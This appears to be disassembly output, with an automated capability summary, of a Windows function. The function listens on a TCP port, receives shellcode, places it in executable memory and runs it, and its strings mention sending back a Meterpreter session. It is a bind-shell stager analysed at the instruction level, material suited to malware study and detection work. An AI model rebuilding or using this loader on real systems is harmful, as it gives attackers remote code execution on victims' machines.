Function at 0x140011357
Capabilities:
Allocate or change rwx memory
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Start tcp server

Disassembly:
jmp 0x1400124b0
push rbp
push rdi
mov eax, 0x17b8
call fcn.1400110fa
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x466
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1780], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.1400114b5
mov ecx, 0x198
call fcn.140011050
mov qword [rbp + 0x1728], rax
cmp qword [rbp + 0x1728], 0
je 0x14001252e
mov rdi, qword [rbp + 0x1728]
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x1728]
mov qword [rbp + 0x1778], rax
jmp 0x140012539
mov qword [rbp + 0x1778], 0
mov rax, qword [rbp + 0x1778]
mov qword [rbp + 8], rax
mov ecx, 0x30
call fcn.140011050
mov qword [rbp + 0x1748], rax
cmp qword [rbp + 0x1748], 0
je 0x14001257f
mov rdi, qword [rbp + 0x1748]
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1778], rax
jmp 0x14001258a
mov qword [rbp + 0x1778], 0
mov rax, qword [rbp + 0x1778]
mov qword [rbp + 0x28], rax
mov ecx, 0x30
call fcn.140011050
mov qword [rbp + 0x1768], rax
cmp qword [rbp + 0x1768], 0
je 0x1400125d0
mov rdi, qword [rbp + 0x1768]
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x1768]
mov qword [rbp + 0x1778], rax
jmp 0x1400125db
mov qword [rbp + 0x1778], 0
mov rax, qword [rbp + 0x1778]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x68], 0xffffffffffffffff
mov qword [rbp + 0x88], 0xffffffffffffffff
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
mov dword [rbp + 0x10c4], 0
lea rax, [0x14001bd14]
mov qword [rbp + 0x10e8], rax
mov rax, qword [rbp + 0x28]
mov dword [rax + 4], 2
mov rax, qword [rbp + 0x28]
mov dword [rax + 8], 1
mov rax, qword [rbp + 0x28]
mov dword [rax + 0xc], 6
mov rax, qword [rbp + 0x28]
mov dword [rax], 1
mov rdx, qword [rbp + 8]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r9, [rbp + 0x48]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x10e8]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rax, qword [rbp + 0x48]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x48]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x48]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x48]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WS2_32.dll_bind]
mov edx, 0x7fffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WS2_32.dll_listen]
lea rdx, str.Listening_on_TCP_port
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rdx, qword [rbp + 0x10e8]
mov rcx, rax
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rbp + 0x88], rax
lea rdx, str.Incoming_connection...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x10c4], eax
cmp dword [rbp + 0x10c4], 0
jle 0x140012786
lea rdx, str.Received_shellcode_bytes
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov edx, dword [rbp + 0x10c4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd rax, dword [rbp + 0x10c4]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1108], rax
lea rdx, str.Allocated_memory_for_shellocode_at:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rdx, qword [rbp + 0x1108]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x1000
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x1108]
call fcn.140011267
lea rdx, str.Copied_shellcode_to:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rdx, qword [rbp + 0x1108]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Sending_back_meterpreter_session...
mov rcx, rax
call fcn.14001109b
call qword [rbp + 0x1108]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_bind
call fcn.140011415
mov eax, edi
mov rcx, qword [rbp + 0x1780]
xor rcx, rbp
call fcn.140011262
lea rsp, [rbp + 0x1798]
pop rdi
pop rbp
ret